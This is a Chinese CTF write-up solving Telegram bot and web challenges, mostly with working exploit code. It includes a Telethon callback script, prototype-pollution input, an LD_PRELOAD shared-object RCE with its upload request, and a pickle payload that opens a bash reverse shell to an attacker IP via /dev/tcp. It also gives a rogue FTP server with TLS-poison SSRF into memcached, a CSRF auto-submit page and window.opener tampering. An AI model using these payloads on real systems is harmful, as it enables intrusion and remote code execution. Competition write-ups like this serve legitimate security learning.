Misc#

safer-telegram-bot-1#

用 Telethon 写一个客户端,当 message edited 时 send callback query 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from telethon import TelegramClient, events, functions

# Use your own values from my.telegram.org
api_id = 111111
api_hash = 'xxxx'

# The first parameter is the .session file name (absolute paths allowed)
with TelegramClient('anon', api_id, api_hash, proxy=("socks5", '127.0.0.1', 7890)) as client:
@client.on(events.MessageEdited)
async def handler(event):
# Log the date of new edits
print('Message', event.id, 'changed at', event.date, event.reply_markup)
result = await client(functions.messages.GetBotCallbackAnswerRequest(
peer='mukeran',
msg_id=event.id,
game=False,
data=event.reply_markup.rows[0].buttons[0].data
))
print(result)
# client.loop.run_until_complete(main())
client.run_until_disconnected()

safer-telegram-bot-2#

根据提示,搜索 777000,发现是 Telegram 自带的 User,当一个 channel 在 group 中发送信息时,msg.from.id 将为 777000,所以只要将 channel link 到 group,并在 channel 中发送 /iamroot 即可(需要提前使用 safer-telegram-bot-1 的脚本获得 authorized 身份并 /authorize 777000)
safe.js 中使用 my_chat_member 阻止 bot 被加入 group

addkw 中对 user1 的 keywordMap 赋值存在原型链污染,发送(这里是带样式的,因为 Telegram 官方客户端支持 md,所以直接输入 __proto__ 会变成 proto,无法触发反序列化,此时在斜体的基础上再加 __ 就可以了)

1
/addkw __proto__?.chat_member test

可污染 Object.__proto__.chat_member 为 () => ‘test’

node-telegram-bot-api 源码 processUpdate 中,对 message 的分发顺序为先处理 chat_member,再处理 my_chat_member,如果污染 chat_member,则永远不会触发 my_chat_member

污染后就一通操作获取 flag 了!

Web#

Gogogo#

https://unsafe.sh/go-99590.html

exp.so:

1
2
3
4
5
6
7
8
9
10
11
#include <unistd.h>
#include <stdlib.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
unsetenv("LD_PRELOAD");
system("cat /flag");
}

用 Burp Intruder 爆破 /tmp/tmp-.tmp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /cgi-bin/hello HTTP/1.1
Host: 123.60.84.229:10218
User-Agent: curl/7.79.1
Accept: */*
Content-Length: 14735
Content-Type: multipart/form-data; boundary=------------------------d3b3b08f3409d64e
Connection: close

--------------------------d3b3b08f3409d64e
Content-Disposition: form-data; name="data"; filename="exp.so"
Content-Type: application/octet-stream

ELF>€@X1@8
@XXii ÜÜ.>>(0 . > >ÀÀ¨¨¨ ÈÈÈ$$Såtd¨¨¨ Påtd ,,QåtdRåtd.>>øøGNUÀGNU0 J‹³®¬ÔaZADL&„à ^ U, F"__gmon_start___ITM_deregisterTMCloneTable_ITM_registerTMCloneTable__cxa_finalizeunsetenvsystemlibc.so.6GLIBC_2.2.5eui o>0>9>ð(@(@à?è?ð?ø?@ @óúHƒìH‹Ù/H…ÀtÿÐHƒÄÃÿ5â/òÿ%ã/óúhòéáÿÿÿóúhòéÑÿÿÿóúòÿ%/Dóúòÿ%­/Dóúòÿ%¥/DH=©/H¢/H9øtH‹F/H…Àt ÿà€Ã€H=y/H5r/H)þH‰ðHÁî?HÁøHÆHÑþtH‹/H…ÀtÿàfDÀóú€=5/u+UHƒ=ò.H‰åtH‹=/è9ÿÿÿèdÿÿÿÆ
/]ÃÀóúéwÿÿÿóúUH‰åH=¸è#ÿÿÿH=·èÿÿÿ]ÃóúHƒìHƒÄÃLD_PRELOADcat /flag;,ðÿÿH8ðÿÿpHðÿÿˆ!ñÿÿ zRx$¸ïÿÿ0FJ
w€?:*3$"DÀïÿÿ\¸ïÿÿ tyðÿÿ#E†C
Z09ðe
\>>õþÿoð¸
{
@0(hÀ þÿÿoHÿÿÿoðÿÿo4ùÿÿo >0@(@GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0.shstrtab.note.gnu.property.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.plt.sec.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.plt.data.bss.comment
¨¨ ÈÈ$1öÿÿoðð;
¨C¸¸{Kÿÿÿo44XþÿÿoHH ghhÀqB((0{v 0PPŠ`` “€€Ü™\\
Ÿ § ,µH H ”¿>.Ë>.× > .À…à/ à@0(é(@(0ï0@00ô000+[0ý
--------------------------d3b3b08f3409d64e
Content-Disposition: form-data; name="LD_PRELOAD"

/tmp/tmp-1.tmp
--------------------------d3b3b08f3409d64e--

ToLeSion#

初步推断是用 curl ftp pasv 往 memcached flask_session 写 pickle 字节码反序列化 RCE

https://unsafe.sh/go-73513.html

TLS Poison
https://github.com/jmdx/TLS-poison

生成 Pickle 字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pickle
import os


class RCE:
def __reduce__(self):
cmd = ('/bin/bash -c \'/bin/bash -i >& /dev/tcp/xxx.xx.xx.xxx/11001 0>&1\'')
return os.system, (cmd,)


if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print('Payload:')
payload = '\r\nset actfSession:mukeran_rce 0 0 {}\r\n'.format(len(pickled)).encode()+pickled+b'\r\n'
print(payload)
open('a', 'wb').write(payload)

FTP Server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from socket import *
import ssl

sock = socket(AF_INET, SOCK_STREAM)
sock.bind(('0.0.0.0', 12222))
sock.listen(1)

conn, addr = sock.accept()
print('[+] Connected from {}'.format(addr))
conn.send(b'220 Welcome\n')
print('[*] Received {}'.format(conn.recv(100)))
conn.send(b'331 Please specify the password.\n')
print('[*] Received {}'.format(conn.recv(100)))
conn.send(b'220 Login successful.\n')
print('[*] Received {}'.format(conn.recv(100)))
conn.send(b'200 ok.\n')
print('[*] Received {}'.format(conn.recv(100)))
conn.send(b'200 ok.\n')
print('[*] Received {}'.format(conn.recv(100)))
conn.send(b'212 /\n')
print('[*] Received {}'.format(conn.recv(100)))
conn.send(b'150 ok\n')
print('[*] Received {}'.format(conn.recv(100)))
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,43,192)\n')
print('[*] Received {}'.format(conn.recv(100)))
conn.send(b'200 ok.\n')
print('[*] Received {}'.format(conn.recv(100)))
conn.send(b'125 10\n')
print('[*] Received {}'.format(conn.recv(100)))
conn.send(b'150 Opening.\n')
print('[*] Received {}'.format(conn.recv(100)))
conn.close()

TLS-Poison 工具转发 TLS 至 FTP,自动设置 session ticket 为 redis 中设置的 payload(需要修改 redis 连接地址为 localhost,tls 证书为 letsencrypt 生成的合法证书)

1
target/debug/custom-tls -p 12001 --verbose --certs /etc/letsencrypt/live/xxx.xxx.xxx/fullchain.pem --key /etc/letsencrypt/live/xxx.xxx.xxx/privkey.pem forward 12222

Redis:

1
2
127.0.0.1:6379> set payload "\r\nset actfSession:mukeran_rce 0 0 102\r\n\x80\x04\x95[\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c@/bin/bash -c '/bin/bash -i >& /dev/tcp/xxx.xx.xx.xxx/11001 0>&1'\x94\x85\x94R\x94.\r\n"
OK

写入 memcached:http://123.60.131.135:10023/?url=ftps://xxx.xxx.xxx/1.txt
Cookie 设置为 mukeran_rce 反弹 shell:

beWhatYouWannaBe#

Part1: form csrf
Part2: window.opener

flag1.php:(需要把 php.ini 中的 precision 设置为 16,以与 NodeJS 精度匹配)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<?php
$csrftoken = hash('sha256', sin(floor(time())));
?>
<body>
<form method="post" action="http://localhost:8000/beAdmin">
<input type="text" name="username" value="mukeran">
<input type="text" name="csrftoken" value="<?=$csrftoken?>">
<input type="submit" id="submit">
</form>
<script>
window.onload = function () {
document.getElementById('submit').click()
}
</script>
</body>
</html>

flag1:

flag2-part1.html:

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>

<head>
<meta charset="UTF-8">
<title>Parent</title>
<script>
window.open('/flag2-part2.html')
</script>
</head>

</html>

flag2-part2.html:(用 setInterval 不断设置,因为不知道新页面什么时候加载好)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Child</title>
</head>
<body>
<script>
setInterval(() => {
window.opener.window.fff = {
lll: {
aaa: {
ggg: {
value: 'this_is_what_i_want'
}
}
}
}
}, 1)
</script>
</body>
</html>

flag2:

poorui#

可能蹭车?
登录尝试 admin 发现完全可以登录
http://124.71.181.238:8081/chat 页面用 console 用 ws 登录并 getflag,直接拿到 flag…

1
2
3
const s = new WebSocket('ws://124.71.181.238:8081')
s.onmessage = (data) => { console.log(data) }
s.onopen = () => { s.send(JSON.stringify({api: 'login', username: 'admin'})); s.send(JSON.stringify({api: 'getflag'})) }